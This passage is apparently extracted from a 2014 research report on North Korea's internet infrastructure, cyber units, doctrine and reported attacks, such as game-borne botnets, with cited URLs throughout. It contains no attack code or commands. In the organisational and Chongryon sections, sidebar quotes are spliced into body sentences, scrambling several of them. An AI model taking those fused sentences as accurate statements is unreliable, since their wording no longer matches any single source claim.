http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy + http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ + http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 + http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ + http://www.washingtonpost.com/blogs/worldviews/wp/2013/01/29/north-koreans-shouldnt-count-on-using-the-new-google-maps/ + http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf + Pacific in Thailand.61 In December 2009, Star Joint Venture became responsible for North Korea +Internet address allocation. Previously, Internet access was provided by a German satellite link via +Korea Computer Center Europe or via direct connections with China Netcom, which was later +merged into China Unicom. 62 By October 2010, North Korea had made its first known direct +connection to the Internet, hosting an outward-facing Korean Central News Agency website +accessible from the global Internet. 63 However, many of North Korea +s globally accessible +websites are hosted in other countries. In 2001, South Korean reports indicated that North Korea +had joined the International Telecommunications Satellite Organization (INTELSAT).64 As of April +2012, North Korea reportedly used the Intelsat connection, which appeared in border gateway +protocol (BGP) announcements.65 Some reports referred to the Intelsat connection as North +Korea +s backup Internet connection, in case the China Unicom connection fails.66 A March 2013 +post on the blog rdns.im showed that North Korea no longer used the Intelsat connection. In the +blog post, the author noted his method for proving that The Pirate Bay was not hosted in North +Korea. While his analysis of The Pirate Bay +s hosting is irrelevant to our research, he did detail that +175.45.177.0/24 always routes through AS4837, and AS131279. AS131279 is Star-KP, North +Korea +s Star Joint Venture Company, and AS4837 is China Unicom. The author concluded that +[traffic] is ONLY routed through China Unicom and NOT through Intelsat. +67 In February 2014, +North Korean and South Korean officials agreed to extend Internet access to Kaesong Industrial +Zone, a jointly operated industrial complex just north of the border. However, this would likely +require a major electrical and network infrastructure expansion.68 +North Korea +s electrical grid cannot support a large technological infrastructure.69 Electrical +power is reported to be unreliable and sporadic, with many citizens only receiving a few hours of +electricity per day.70 + http://www.northkoreatech.org/2011/05/19/more-details-on-star-joint-venture/ + http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 + http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ + http://webcache.googleusercontent.com/search?q=cache:http://english.chosun.com/site/data/html_dir/2001/05/29/2001052961197.html + http://www.northkoreatech.org/2012/04/08/dprk-gets-second-link-to-internet/ + http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage + https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 + http://www.northkoreatech.org/2014/02/10/internet-coming-to-kaesong-industrial-zone/ + http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ + http://www.usnews.com/news/blogs/rick-newman/2013/04/12/heres-how-lousy-life-is-in-north-korea + Figure 3 North and South Korean power grid +The photo above (Figure 3), from the International Space Station, shows North Korea +s sparse +power grid, in comparison with surrounding nations.71 We have highlighted North Korea in red. +Koryolink, the country +s only cellular phone network,72 is tightly controlled by the regime.73 Cell +phone data plans are not available to most users. Most cellular phones cannot access the +Internet and can only make domestic calls.74 According to a 2013 report, North Korea has a 3G +data network for cellular phones. Visiting reporter Jean H. Lee purportedly used this 3G network +to post to both Twitter and Instagram. However, citizens are not generally allowed to use the 3G +network.75 +Email is also regulated by the regime. The first email provider in North Korea was Silibank. Silibank +has servers in Pyongyong and Shenyang and is a joint venture with China. The North Korean +Silibank homepage is silibank.net, and the Chinese homepage is silibank.com. In order to use the +email service, users had to initially register, provide personal information, and pay a registration +fee and monthly service fees.76 This registration information was current as of 2001. However, it +is unknown whether the same process still applies. +WHOIS records for silibank.net show that the site was registered anonymously via a Japanese +registrar. This information can be found in Appendix A at the end of this paper. + http://www.citylab.com/work/2014/02/north-korea-night-looks-big-black-hole/8484/ + http://www.northkoreatech.org/2014/06/24/chinese-shops-offer-cheap-cellphones-to-north-koreans/ + http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ + http://edition.cnn.com/2001/TECH/internet/11/07/north.korea.email.idg/index.html + Korea Computer Center (KCC) is North Korea +s leading government research center for +information technology. KCC has eleven regional information centers and eight development and +production centers. Other countries with KCC branch offices include China, Syria, Germany, and +United Arab Emirates. KCC has a vested interest in Linux research and is responsible for the +development of North Korea +s national operating system, Red Star OS, which is discussed in more +detail below. KCC +s other projects have included a proprietary search engine, a document writer, a +game called Jang-Gi, the Kwangmyong intranet, a food study program, a Korean input method +editor, a pen-based English-Korean and Korean-English translator, Korean voice recognition +software, a video conferencing system, a distance education system, SilverStar Paduk software, +HMS Player77, and the Samjiyon tablet. 78 In addition to research and development, KCC also +monitors websites of foreign government and business entities and conducts technical +reconnaissance to blueprint the technical specifications and vulnerabilities in foreign systems and +technologies. KCC has also been involved in clandestine information and cyber operations, serving +as a command center.79 +North Korea +s proprietary operating system is Red Star OS. The development of this Linux-based +operating system started in 2002. Red Star OS is only offered in the Korean language and +features proprietary software including Naenara (a Firefox-based browser), as well as a text +editor, email client, audio and video players, and games.80 Red Star OS +s keyboard layouts include +Korean, English, Russian, Chinese, and Japanese. Regime ideals extend to Red Star OS. The +readme file, which goes with the installation disc, reportedly includes a quote from Kim Jong-Il +regarding the importance of North Korea having its own Linux-based operating system that is +compatible with Korean traditions. While prior versions of Red Star were KDE-based, version 3.0 +mimics Apple +s OS X.81 82 This could indicate the regime leader Kim Jong Un +s preference for the +OS X environment, as Kim reportedly uses an iMac.83 Citizens do not need permission to obtain +Red Star OS. However, the purchase of computers is heavily regulated.84 The OS +s design suggests +it was developed with means for the regime to monitor user activity.85 +North Korea is known to use two IP ranges. 175.45.176.0/22 is North Korea +s own IP block.86 +Additionally, North Korea +s Telecommunications Ministry is the registered user of China Unicom IP +range 210.52.109.0/24.87 The country +s only autonomous system (AS) number is AS131279, and +its only peer is AS4837, the AS for China Unicom.88 +North Korea +s country code top-level domain (ccTLD) is .kp. In 2007, the .kp TLD was initially +delegated to and administered by the German-based KCC Europe.89 After KCC Europe failed to + http://www.naenara.com.kp/en/kcc/ + http://www.northkoreatech.org/2012/09/28/samjiyon-android-tablet-debuts-at-pyongyang-trade-fair/ + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://ashen-rus.livejournal.com/4300.html + http://news.bbc.co.uk/2/hi/technology/8604912.stm + http://www.arnnet.com.au/article/537360/north_korea_goes_osx-like_new_operating_system/ + http://www.businessinsider.com/brand-new-photo-confirms-that-kim-jong-un-is-a-mac-user-2013-3 + http://rt.com/news/north-korea-cyber-weapon/ + http://news.bbc.co.uk/2/hi/technology/8604912.stm + http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ + https://www.northkoreatech.org/2011/06/26/north-koreas-chinese-ip-addresses/ + http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ + http://www.northkoreatech.org/2011/05/19/kp-domain-switch-came-after-kcc-europe-disappeared/ + maintain the TLD, it was re-delegated to Star Joint Venture Company.90 The .kp TLD uses the +following nameservers and IP addresses:91 +Nameserver IP Address +ns1.kptc.kp 175.45.176.15 +ns2.kptc.kp 175.45.176.16 +ns3.kptc.kp 175.45.178.173 +Various U.S., U.N, and other sanctions prohibit export of dual-use technologies to North Korea. In +light of this, North Korea has managed to develop both hardware and software and hosts an +annual National Exhibition of Invention and New Technologies to promote its products.92 However, +the regime has historically failed in its attempts at large-scale production of electronic +components. The country +s sparse electrical grid is one of the major obstacles hindering large- +scale manufacturing.93 Additionally, the famine in the early 1990 +s negatively impacted existing +manufacturing facilities, and the regime simply does not have the capital to modernize those +factories.94 A member of the World International Property Organization (WIPO), North Korea joined +the WIPO Patent Cooperation Treaty that protects patents and trademarks worldwide, and +leverages intellectual property laws to ensure Westerners do not take credit for North Korean +inventions.95 The regime, in its efforts to isolate its citizens from Western influence, leverages +intellectual property laws to ensure Westerners do not take credit for North Korean inventions.96 +This is ironic since foreign-made electronic components are sometimes smuggled into North +Korea for military use and for personal use by the regime +s upper echelon. +An analysis of developments in North Korean cyberspace since 2010 +A comparison of a scan97 of North Korea +s IP ranges in November 2010, just one month after +North Korea made its first direct connection to the Internet, and a series of several scans we +conducted in May 2014, shows that North Korea has made significant headway in establishing its +Internet presence. +In the November 2010 scan, 175.45.176.0 - 175.45.176.16 showed a variety of devices including +D-link, Cisco, Linksys, HP, and Nokia devices, and a Juniper networks firewall. Operating systems +detected included FreeBSD 6.x, Linux 2.6.x, and Red Hat Enterprise Linux. 175.45.176.14 returned +Naenara + as an html-title. Most hosts in the 175.45.176.xx and 175.45.177.xx ranges were +down. As of 2014, IP addresses 175.45.176.0 - 175.45.177.255 appear to be used for websites, +nameservers, databases, email, and voice over IP (VoIP). In November 2010, the 175.45.178.xx +range showed all hosts down,98 and the 175.45.179.xx range showed most hosts were down.99 + http://www.iana.org/reports/2011/kp-report-20110401.html + http://www.iana.org/domains/root/db/kp.html + http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf + http://sinonk.com/2013/10/11/a-primer-on-north-koreas-economy-an-interview-with-andrei-lankov/ + http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf + http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf + http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt + http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt + http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.179.txt + In 2014, several webservers and nameservers were found in the 175.45.178.xx range, and +several nameservers and mail servers were found in the 175.45.179.xx range. This comparison +demonstrates that there has been some growth in DPRK Internet infrastructure over the past four +years. However, it seemingly lags behind even most third world nations. The 2014 scans detected +dated technology that is potentially susceptible to multiple vulnerabilities and consistently +showed the same open ports and active devices on scanned hosts. It is not clear whether the +regime failed to notice and react to the scanning or whether the regime allows these open ports +and devices to be detected or spoofed to serve as a distraction or possible honeypot. +Domains, nameservers, and mail servers present during the May 2014 scan are listed in Appendix +B at the end of this report. +According to Alexa rankings, the three most visited websites in North Korea are kcna.kp, the +official website of the Korean Central News Agency (KCNA)100; rodong.rep.kp, another North +Korean news site101; and naenara.com.kp, North Korea +s official web portal.102 Naenara translates +my country +The kcna.kp site was registered using a Loxley.co.th email address and is administrated by Star +Joint Venture Company. The WHOIS Record can be found in Appendix A. + http://dig.do/kcna.kp + http://dig.do/rodong.rep.kp + http://dig.do/naenara.com.kp + Figure 4 A screenshot from the kcna.kp homepage.103 +Rodong.rep.kp was registered using the same loxley.co.th email address and is also administered +by Star Joint Venture Company. The WHOIS Record for this site can be found in Appendix A. + http://kcna.kp/kcna.user.home.retrieveHomeInfoList.kcmsf + Figure 5 A screenshot from the rodong.rep.kp homepage.104 +The WHOIS information for Naenara.com.kp was not available. + http://rodong.rep.kp/ko/ + Figure 6 A screenshot of the Naenara.com.kp website.105 +In March 2013, there were reports that the Chrome browser was blocking Naenara.com.kp due to +malware.106 +Figure 7 Screenshot of what visitors to Naenara.com.kp saw when using the Chrome browser.107 + http://naenara.com.kp/en/ + http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ + http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ + Figure 8 Screenshot detailing why Chrome blocked the site108 +It is difficult to say whether this incident is a case of North Korea serving malware or whether a +third party took advantage of an improperly secured website. +Several major North Korean websites are hosted outside of North Korea. The popular +Uriminzokkiri.com website, whose name translates to +our nation, + is hosted in China. The +administrative contact for the website is Kim Sejun, and the email address given as contact +information is hyk1979@hotmail.com. The WHOIS Record for this site can be found in Appendix A. + http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ + Figure 9 A screenshot of the Uriminzokkiri website 109 +The website for Kim Il Sung Open University, otherwise known as +Our Nation School + is also +hosted in China. The WHOIS record for this site can be found in Appendix A. + http://www.uriminzokkiri.com/ + Figure 10 A screenshot of ournation-school.com. 110 +North Korean cyber war and intelligence structure +At the top of North Korea +s military structure is the National Defense Commission (NDC). The NDC +is also the highest branch of government and the regime +s supreme policymaking body. 111 Along +with the Central Committee of the Workers + Party of Korea and the Cabinet, NDC is at the top of + http://www.ournation-school.com/ + https://nkleadershipwatch.wordpress.com/dprk-security-apparatus/national-defense-commission/ + North Korea +s political hierarchy.112 Article 106 of North Korea +s Constitution gives the NDC the +following powers:113 + + The power to establish policies of the state in accordance with the military-first + revolutionary line. + + The power to guide the armed forces and oversee defense building. + + The power to supervise and ensure the NDC and its chairman +s orders are executed and to + establish necessary measures. + + The power to override any state decisions or directives that are in opposition to the NDC + or its chairman +s decisions and directives. + + The power to create or remove central organs of the national defense sector. + + The power to create and bestow military titles above general-grade officer rank. +The NDC oversees several defense and intelligence bodies including the Ministry of State Security, +the Ministry of People +s Security, the Ministry of People +s Armed Forces, and the Korean People +Army. The Ministry of State Security (MSS), also known as the State Security Department, is North +Korea +s primary counterintelligence service. It is considered an autonomous agent of the regime +and reports directly to leader Kim Jong Un. The MSS +s duties include oversight of North Korean +prison camps, investigation of domestic espionage, repatriation of defectors, and overseas +counterespionage operations.114 The Ministry of People +s Security is also known as the Ministry of +Public Security (MPS). Focused on domestic order, it oversees North Korea +s national police force, +conducts criminal investigations and preliminary examinations, and oversees correctional +facilities, excluding prison camps.115 While the roles of the MSS and MPS focus more on +intelligence than on cyber operations, the MSS also reportedly has a communications monitoring +and computer hacking group.116 +The Ministry of People +s Armed Forces (MPAF) administrates the Korean People +s Army (KPA) and +oversees the General Staff Department (GSD), which is responsible for Unit 121 comprises both an +operational command and control of North Korea +s armed forces. The General intelligence component and +Staff Department also oversees the Reconnaissance General Bureau (RGB), North an attack component. One of + Unit 121 +s command posts is +Korea +s agency for clandestine operations. The RGB has a role in both traditional + Chilbosan Hotel in Shenyang, +and cyber operations. In the past, the RGB has sent agents on overseas military China. Unit 121 maintains +assistance missions to train insurgent groups.117 The RGB reportedly has a special technical reconnaissance +operations forces (SOF) element118 and oversees six bureaus that specialize in teams responsible for + infiltration of computer +operations, reconnaissance, technology and cyber matters, overseas intelligence + networks, hacking to obtain +collection, inter-Korean talks, and service support.119 Two of these bureaus have intelligence, and planting +been identified as the No. 91 Office and Unit 121. The No. 91 Office, an office viruses on enemy networks. +responsible for hacking, operates out of the Mangkyungdae-district of + http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ + http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + http://www.factba.se/handbook-page.php?id=1129700 + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf + http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + Pyongyang.120 Unit 121 comprises both an intelligence component and an attack component. Unit +s headquarters is in the Moonshin-dong area of Pyongyang, near the Taedong River.121 It also +has components that conduct operations from within China. One of Unit 121 +s command posts is +Chilbosan Hotel122 in Shenyang, the capital of Liaoning Province, which borders North Korea.123 +Shenyang is a Chinese military district.124 According to Dr. Alexandre Mansourov, an expert on +North Korea and a visiting scholar at the U.S.-Korea Institute at Johns Hopkins University, "They +[Unit 121] are believed to have conducted hacking operations from inside China that falsify +classified data and disrupt U.S. and South Korean systems."125 Both Unit 121 and an entity known +as Lab 110 are reported to maintain technical reconnaissance teams responsible for infiltrating +computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.126 127 +Figure 11 A map pinpointing the location of the Chilbosan Hotel.128 + http://www.infosecisland.com/blogview/21577-Concerns-Mount-over-North-Korean-Cyber-Warfare-Capabilities.html + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + http://www.defense.gov/pubs/2014_DoD_China_Report.pdf + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. + maps.google.com + Figure 12 A satellite view of the Chilbosan Hotel.129 +Several entities are nested under the Workers + Party. The Central Party +Committee oversees the Central Party Investigative Group, also known as Unit The Unification Bureau falls +35. Unit 35 is reportedly responsible for technical education and training of + 130 under the Workers + Party. Its + Operations Department is +cyber warriors. The Unification Bureau +s Operations Department is + 131 132 + responsible for cyber- +responsible for cyber-psychological warfare, organizational espionage, and psychological warfare, +oversight of Unit 204. Unit 204 +s responsibilities include planning and execution organizational espionage, and +of cyber-psychological warfare operations and technological research. The oversight of Unit 204. Unit 204 + responsibilities include planning +Psychological Operations Department of the North Korea Defense Commission + and execution of cyber- +also engages in cyber-psychological warfare.133 The 225th Bureau, or Office 225, psychological warfare operations +is responsible for training agents, infiltration operations in South Korea, and and technological research. The +creation of underground political parties in order to incite disorder and revolution. Psychological Operations +It plays a more traditional intelligence and psychological operations role, rather Department of the North Korea + Defense Commission also +than focusing on cyber operations.134 The United Front Department (UFD) engages in cyber-psychological +conducts overt operations to create pro-North Korean groups in South Korea. warfare. +Examples of this activity include the Korean Asia-Pacific Committee and the +Ethnic Reconciliation Council. The UFD also manages inter-Korean dialogue and North Korea +policy toward South Korea. Its operations are also more traditional rather than cyber-focused.135 + maps.google.com + Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://goodfriendsusa.blogspot.co.uk/2008/07/north-korea-today-no174.html + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf + The Liaison Department of the Worker +s Party oversees a faction of ethnic North Koreans residing +in Japan who are critical to North Korea +s cyber and intelligence programs. This group, which was +established in 1955, is referred to by various names including the Chosen Soren, Chongryon, and +the General Association of Korean Residents in Japan.136 The Chongryon ascribe to juche and seek +to preserve North Korean culture while living in Japan. They operate North Korean style schools +and refuse to assimilate with Japanese culture.137 According to Mitsuhiro Suganuma, former +section head of the second intelligence department of the Japanese Public Security Intelligence +Agency (PSIA), +Chongryon is virtually under the direct control of the Liaison Department of the +Workers + Party of Korea, which has been in charge of North Korea +s covert operations and +underground activities against South Korea. Chongryon in Japan has been a strong support +organization aimed at bringing a revolution in South Korea, or a red unification by force. + He also +stated +North Korea will continue to make Chongryon serve as Pyongyang +s pawn in covert +operations against South Korea. +138 The Chongryon are vital to North Korea +s military budget, +raising funds via weapons trafficking, drug trafficking, and other black market activities.139 The +group also forms +front companies + abroad that benefit the regime by generating + +Chongryon is virtually +hard currency. One example is Unikotech, which was formed to sell KCC products under the direct control of +abroad. 140 The Chongryon +s underground group known as the Gakushu-gumi, or the Liaison Department of +the study group +, gathers intelligence for North Korea and helps the regime the Workers + Party of Korea, + which has been in charge of +procure advanced technologies.141 The Chongryon +s role in North Korean + North Korea +s covert +intelligence and resource acquisition is discussed below in more detail. operations and + underground activities +The regime also has several government bodies under the Cabinet142 that oversee against South Korea. +its infrastructure, intelligence, and technological development. These include the +Central Scientific and Technological Information Agency (CSTIA), the Ministry of Electronics +Industry, and the Ministry of Posts and Telecommunications. The CSTIA collects, analyzes, and +processes data regarding advanced science and technology then sends relevant information to +appropriate areas of the national economy.143 The amount of information contained in CSTIA's +technical database makes it North Korea's largest scientific facility. According to a CIA article, +review of CSTIA +s publications showed that China, Russia, and Japan are important sources of +technical data. CSTIA +s publications include newsletters and an 18-volume science and +technology reference series.144 The Ministry of Posts and Telecommunications is the body of +oversight for Star Joint Venture Co.145 + http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html + http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html + http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://www.learningace.com/doc/2025666/863b663a9fb13b456304dd0a3bc43547/cyberwarfare + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ + https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html + https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf + https://www.northkoreatech.org/tag/ministry-of-posts-and-telecommunications/ + North Korean cyber and intelligence organizational chart +Figure 13 North Korean cyber and intelligence organizational chart +North Korea +s cyber doctrine, strategies and goals +North Korea +s cyber warfare doctrine has not been clearly stated. However, based on cultural and +technical observations, we may deduce that North Korea +s cyber doctrine follows the tenets of +juche nationalism and the songun doctrine. +Although North Korea +s limited online presence makes a thorough analysis of their cyber warfare +capabilities a difficult task, it must be noted that what is known of those capabilities closely +mirrors their kinetic warfare tactics. Cyber warfare is simply the modern chapter in North Korea +long history of asymmetrical warfare. North Korea has used various unconventional tactics in the + past, such as guerilla warfare, strategic use of terrain, and psychological operations.146 The +regime also aspires to create viable nuclear weapons.147 Asymmetrical warfare is defined as +conflict in which the resources of two belligerents differ in essence and in the struggle, interact +and attempt to exploit each other's characteristic weaknesses. Such struggles often involve +strategies and tactics of unconventional warfare, the +weaker + combatants attempting to use +strategy to offset deficiencies in quantity or quality +. 148 +According to the aforementioned report to the House Armed Service Committee, +Cyber warfare is +an important asymmetric dimension of conflict that North Korea will probably continue to +emphasize + in part because of its deniability and low relative costs. +149 North Korea +s poor +economic state150, further explains the regime +s reliance on these tactics. In 2014, the regime +reportedly spent 16% of its budget on defense.151 The North Korean military places a strong +emphasis on information warfare capabilities including political and psychological warfare152 and +cyber or hacker warfare.153 +The report by Capt. Duk-Ki Kim, Ph.D. highlighted North Korea +s counter-asymmetric strategy and +ranked each based on intensity and frequency: +Figure 14 Threat matrix of North Korean asymmetric war capabilities.154 +Cyber warfare operations +Just ten years ago, experts noted that North Korea was one of the +least network-ready and most +isolated societies on the planet. +155 Today North Korea +s air-gapped networks and prioritization of +resources for military use provide both a secure and structured base of operations for cyber +operations and a secure means of communications.156 North Korea +s hermit infrastructure creates + http://www.history.army.mil/brochures/kw-balance/balance.htm + http://www.bbc.com/news/world-asia-pacific-11813699 + http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Asymmetric_warfare.html + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + http://www.foreignpolicy.com/articles/2013/04/29/7_things_north_korea_is_really_good_at + http://blogs.wsj.com/korearealtime/2014/04/10/north-korea-details-budget-plans/ + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.giac.org/paper/gsec/1870/information-warfare/103284 + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + a cyber-terrain that deters reconnaissance. Because North Korea has few Internet connections to +the outside world, anyone seeking intelligence on North Korea +s networks has to expend more +resources for cyber reconnaissance.157 A 2003 article by the U.S. Office of the National +Counterintelligence Executive assessed that +Development of the nation, rather than +empowerment of the individual, appears to be driving DPRK efforts to develop domestic IT +infrastructure and industry. +158 In November 2013, Kim Jong Un referred to cyber warfare +capabilities as a +magic weapon + in conjunction with nuclear weapons and missiles.159 +According to Kim Heung-kwang, a North Korean defector and former computer science professor, +the regime has the following motivations for expanding its cyber warfare capabilities:160 + + Cyber capabilities are a cost-effective way to offset North Korea +s lack of kinetic military + prowess. + + North Korea +s school systems place a strong emphasis on math, giving the nation + confidence in its programmers, cryptographers, and security researchers. + + In the modern warfare landscape, cyber capabilities are potentially more utilitarian than + heavy artillery or aircraft. + + Cyber warfare capabilities provide a platform for espionage, psychological operations, + and other forms of non-kinetic warfare. + + Considering the separatist nature of North Korea +s infrastructure, cyber warfare provides + a strategic advantage since outbound attacks are possible, but inbound attacks would + have limited reach. + + Cyber warfare allows North Korea to leverage the Internet +s inherent flaws for offensive + purposes while maintaining its defenses, primarily via air-gapping its most critical + networks from the outside world. +North Korea +s attack and defense capabilities reportedly include the following cyber warfare and +electronic warfare components: offensive cyber operations (OCO); computer network operations +(CNO), which includes both computer network attack (CNA) and computer network exploitation +(CNE); distributed denial of service (DDoS);161 satellite monitoring; drones; GPS jamming +capabilities162; and deployment of electromagnetic pulse (EMP).163 North Korea +s OCO and CNO +capabilities became apparent as early as 2004, when North Korea reportedly gained access to 33 +of 80 South Korean military wireless communication networks. In June 2006, an attack on the U.S. +State Department originating in the East Asia-Pacific region coincided with U.S.-North Korea +negotiations over the regime +s nuclear missile testing.164 A month later, a South Korean military +report implicated North Korea +s Unit 121 in hacking the South Korean and U.S. Defense +Departments. North Korea also tested a logic bomb in October 2007. A logic bomb is malicious + http://www.huffingtonpost.com/2011/07/25/digital-revolution-north-korea_n_908368.html + http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf + http://english.chosun.com/site/data/html_dir/2013/11/05/2013110501790.html + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.theregister.co.uk/2014/04/22/norks_drones_made_in_china/ + http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? + code programmed to execute based on a pre-defined triggering event. Following the logic bomb +test, the UN passed a resolution banning sales of certain computer hardware to North Korea.165 +North Korea considers its cyber warfare capabilities an important asymmetric asset in the face of +its perceived enemies, the U.S. and South Korea. While North Korea does not have an immersive +digital culture, both the U.S. and South Korea are heavily dependent upon technological +infrastructure for social, economic, and political stability.166 For this reason, a cyber attack that +cripples or compromises the reliability of the U.S. or South Korea +s technological infrastructure +could have a far-reaching impact. +Gaming for profit and pwnage +North Korea has reportedly used computer games for both illegal capital gain and + North Korea has used +orchestrating cyber attacks. In 2011, South Korean police arrested five individuals, + computer games for both +including one Chinese national, for allegedly collaborating with North Korean hackers illegal capital gain and +affiliated with the Korea Computer Center to steal money via online games.167 orchestrating cyber attacks. +According to South Korean reports, the culprits used an auto-player to quickly +progress in the massively multiplayer online role-playing game (MMORPG) +Lineage + and were +able to use the game +s market to obtain real currency.168 In 2013, South Korean officials released +information stating they had found evidence that North Korea was using games as a medium for +infecting machines and launching cyber attacks. North Korea had used game downloads to infect +100,000 South Korean machines for a botnet used to launch a distributed denial of service (DDoS) +attack against Incheon Airport.169 This clever tactic sought to leverage a seemingly innocent game +as a force multiplier in order to amplify the effects of a DDoS attack on a critical infrastructure +target. However, in this case, there was little impact on the target. +Intelligence and counterintelligence +North Korea +s intelligence program is one of its strongest military assets, providing foundational +support for all other military operations. The regime +s cyber warfare capabilities, in particular, rely +heavily on open-source intelligence (OSINT) collection and cyber-espionage. 170 As noted in a CIA +publication, "It is a significant irony of our information age that open-source intelligence is +contributing to the survival and development of one of the world's most secretive regimes."171 +Historically, the primary goals of the regime +s intelligence program included collection and +dissemination of intelligence concerning any possible political, military, or economic threat to the +regime +s security and stability. Secondary goals have included "acquisition of foreign military and +civilian technologies and equipment, support of the DPRK +s foreign policy goals, training and + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf + http://www.theguardian.com/technology/2011/aug/04/south-north-korean-hackers-china + http://english.chosun.com/site/data/html_dir/2011/05/06/2011050600827.html + http://www.zdnet.com/blog/security/north-korea-ships-malware-infected-games-to-south-korean-users-uses-them-to-launch-ddos- +attacks/12383 + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html + support for foreign revolutionary and terrorist organizations, and the acquisition of foreign capital +for state and intelligence operations."172 +North Korea has a broad reach for intelligence collection, which extends to cyber intelligence.173 +In April 2013, Solutionary, a company providing managed security services, reported a marked +increase in both overt attacks and information gathering attempts originating from +North Korean IPs. Solutionary refers to any overt external attacks on company A faction of ethnic North + Koreans residing in Japan, +networks or attempts to steal data as 